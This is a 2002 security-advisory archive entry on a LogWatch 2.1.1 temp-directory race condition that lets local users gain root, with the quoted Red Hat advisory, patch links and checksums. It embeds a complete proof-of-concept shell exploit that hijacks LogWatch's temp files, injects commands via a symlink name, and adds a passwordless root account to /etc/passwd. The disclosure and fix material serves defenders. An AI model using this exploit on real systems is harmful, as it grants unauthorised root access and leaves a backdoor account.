(Red Hat Issues Fix for Powertools) LogWatch Temporary File Race Condtion Lets Local Users Gain Root Access
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Date: Apr 5 2002
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Impact: Execution of arbitrary code via local system, Root access via local system
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Fix Available: Yes
Vendor Confirmed: Yes
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Version(s): 2.1.1
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Description: A temporary file race condition was reported in the LogWatch log file analysis tool. A local user may be able to gain root access on the system.
It is reported that a local user can obtain root access due to a race condition during the temporary directory creation. LogWatch
apparently uses a predictable temporary directory name based on the process ID and fails to check for pre-existing files when creating
temporary files. A local user can create a symbolic link from a certain temporary file (cron) to a file name composed of arbitrary
shell commands. When LogWatch is run (typically with root privileges), the arbitrary shell commands will be executed with root
privileges.
exploitcode:--- EXPLOIT ---
cat > logwatch211.sh <<EOF
#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit
code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak
<spybreak@host.sk>
SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/
echo
echo
"LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"
while :; do
set `ps -o pid -C $SERVANT`
if [ -n "$2" ]; then
mkdir /tmp/logwatch.$2
ln -s $SCRIPTDIR'`cd
etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
break;
fi
done
echo "Waiting for LogWatch to finish it's work"
while
:; do
set `ps -o pid -C $SERVANT`
if [ -z "$2" ]; then
ls -l /etc/passwd|mail root
echo master::0:0:master:/root:/bin/bash
>> /etc/passwd
break;
fi
done
su master
EOF
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Impact: A local user can cause arbitrary shell commands to be executed when LogWatch is run (typically run by root).
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Solution: The vendor has released a fix. Before applying this update, make sure all previously released errata relevant to your system have
been applied.
To update all RPMs for your particular architecture, run:
rpm -Fvh [filenames]
where [filenames] is a list
of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed
but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains
the desired RPMs.
Please note that this update is also available via Red Hat Network. Many people find this an easier way to
apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command:
up2date
This will start
an interactive process that will result in the appropriate RPMs being upgraded on your system.
Red Hat Powertools 6.2:
SRPMS:
ftp://updates.redhat.com/6.2/en/power
tools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/6.2/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
Red
Hat Powertools 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/7.0/en/powertools/noarch/logwa
tch-2.6-1.noarch.rpm
Red Hat Powertools 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/7.
1/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
The verification checksums are:
MD5 sum Package
Name
--------------------------------------------------------------------------
bb75f22ed70447d6a46d5d5b2a7ec7aa 6.2/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea74
98a2d6b14bb325a511cf8ba6b 6.2/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
bb75f22ed70447d6a46d5d5b2a7ec7aa 7.0/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea7498a2
d6b14bb325a511cf8ba6b 7.0/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
bb75f22ed70447d6a46d5d5b2a7ec7aa 7.1/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea7498a2d6b1
4bb325a511cf8ba6b 7.1/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
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Vendor URL: www.logwatch.org/ (Links to External Site)
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Cause: Access control error, State error
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Underlying OS: Linux (Red Hat)
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Underlying OS Comments: Red Hat Powertools 6.2, 7.0, 7.1
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Reported By: bugzilla@redhat.com
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Message History:
This archive entry is a follow-up to the message listed below.
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Source Message Contents
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Date: Thu, 4 Apr 2002 17:34 -0500
From: bugzilla@redhat.com
Subject: [RHSA-2002:054-09] Race conditions in logwatch
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---------------------------------------------------------------------
Red Hat, Inc. Red Hat Security Advisory
Synopsis: Race conditions in logwatch
Advisory ID: RHSA-2002:054-09
Issue date: 2002-03-28
Updated on: 2002-04-04
Product: Red Hat Powertools
Keywords: logwatch tmp race
Cross references: RHSA-2002:053
Obsoletes:
---------------------------------------------------------------------
1. Topic:
Updated LogWatch packages are available that fix tmp file race conditions
which can cause a local user to gain root privileges.
2. Relevant releases/architectures:
Red Hat Powertools 6.2 - noarch
Red Hat Powertools 7.0 - noarch
Red Hat Powertools 7.1 - noarch
3. Problem description:
LogWatch is a customizable log analysis system which was available in Red
Hat Powertools.
Versions of LogWatch 2.1.1 and earlier have a vulnerability due to a race
condition during the creation of a temporary directory. This vulnerability
can allow a local user to gain root privileges. An additional race
condition was found in versions of LogWatch 2.5 and earlier.
Users should update to the errata packages containing Logwatch 2.6, which
is not vulnerable to these issues.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the names CAN-2002-0162 and CAN-2002-0165 to these issues.
4. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
To update all RPMs for your particular architecture, run:
rpm -Fvh [filenames]
where [filenames] is a list of the RPMs you wish to upgrade. Only those
RPMs which are currently installed will be updated. Those RPMs which are
not installed but included in the list will not be updated. Note that you
can also use wildcards (*.rpm) if your current directory *only* contains
the
desired RPMs.
Please note that this update is also available via Red Hat Network. Many
people find this an easier way to apply updates. To use Red Hat Network,
launch the Red Hat Update Agent with the following command:
up2date
This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.
5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info):
62055 - A /tmp race condition leads to root
46371 - Handle accepted packets, not just reject and deny
56191 - logwatch is too noisy
58578 - Problem with RPM dependance
61202 - Logwatch logs appear to have emerged themselves with other logfiles. They are semi-unreadable
61829 - logwatch's sshd filter should scan secure logs
61831 - logwatch modprobe filter should allow dashes in module names
61832 - secure filter should ignore sshd messages
6. RPMs required:
Red Hat Powertools 6.2:
SRPMS:
ftp://updates.redhat.com/6.2/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/6.2/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
Red Hat Powertools 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/7.0/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
Red Hat Powertools 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
noarch:
ftp://updates.redhat.com/7.1/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
7. Verification:
MD5 sum Package Name
--------------------------------------------------------------------------
bb75f22ed70447d6a46d5d5b2a7ec7aa 6.2/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea7498a2d6b14bb325a511cf8ba6b 6.2/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
bb75f22ed70447d6a46d5d5b2a7ec7aa 7.0/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea7498a2d6b14bb325a511cf8ba6b 7.0/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
bb75f22ed70447d6a46d5d5b2a7ec7aa 7.1/en/powertools/SRPMS/logwatch-2.6-1.src.rpm
ac8ea7498a2d6b14bb325a511cf8ba6b 7.1/en/powertools/noarch/logwatch-2.6-1.noarch.rpm
These packages are GPG signed by Red Hat, Inc. for security. Our key
is available at:
http://www.redhat.com/about/contact/pgpkey.html
You can verify each package with the following command:
rpm --checksig <filename>
If you only wish to verify that each package has not been corrupted or
tampered with, examine only the md5sum with the following command:
rpm --checksig --nogpg <filename>
8. References:
http://list.kaybee.org/archives/logwatch-announce/2002-March/000002.html
http://list.kaybee.org/archives/logwatch-announce/2002-March/000003.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0162
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0165
Copyright(c) 2000, 2001, 2002 Red Hat, Inc.
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